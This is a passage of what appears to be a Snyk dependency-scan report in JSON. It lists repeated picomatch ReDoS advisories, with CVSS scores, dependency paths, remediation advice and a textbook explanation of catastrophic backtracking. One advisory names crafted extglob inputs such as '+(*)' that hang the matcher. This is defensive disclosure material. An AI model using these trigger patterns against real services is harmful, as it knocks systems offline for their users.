"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n",
"epssDetails": {
"percentile": "0.39319",
"probability": "0.00488",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33671"
],
"CWE": [
"CWE-1333"
],
"GHSA": [
"GHSA-c2c7-rcm5-vvqj"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-03-26T08:38:58.711997Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-25T21:12:07Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-26T08:38:58.926320Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:14:02.835882Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [
false,
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.17",
"picomatch@4.0.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-21248802",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"maximilliangrand",
"Zachariah Mithani"
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/pull/194",
"title": "GitHub PR"
},
{
"url": "https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js%23L287-L307",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.991803Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-20T01:32:18.626388Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via `analyzeRepeatedExtglob` in `lib/parse.js`, which skips single-branch repeated extglob patterns such as `+(*) ` or `+(*a)`. An attacker can supply these glob patterns to trigger exponential backtracking in the underlying regular expression engine against short inputs, blocking the Node.js event loop and crashing the application.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nThere is no fixed version for `picomatch`.\n## References\n- [GitHub PR](https://github.com/micromatch/picomatch/pull/194)\n- [Vulnerable Code](https://github.com/micromatch/picomatch/blob/4.0.7/lib/parse.js#L287-L307)\n",
"epssDetails": null,
"identifiers": {
"CVE": [
"CVE-2026-112366"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "picomatch",
"proprietary": false,
"creationTime": "2026-10-19T19:21:10.678786Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-10-19T18:13:14.289000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-10-19T19:21:10.842984Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-20T01:32:18.991803Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"tinyglobby@0.2.15",
"picomatch@4.0.3"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "picomatch",
"version": "4.0.3"
},
{
"id": "SNYK-JS-PICOMATCH-15765511",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Byambadalai Sumiya"
],
"semver": {
"vulnerable": [
"<2.3.2",
">=3.0.0 <3.0.2",
">=4.0.0 <4.0.4"
]
},
"exploit": "Not Defined",
"fixedIn": [
"2.3.2",
"3.0.2",
"4.0.4"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "picomatch",
"references": [
{
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:14:02.835882Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-03-29T08:56:30.083116Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e 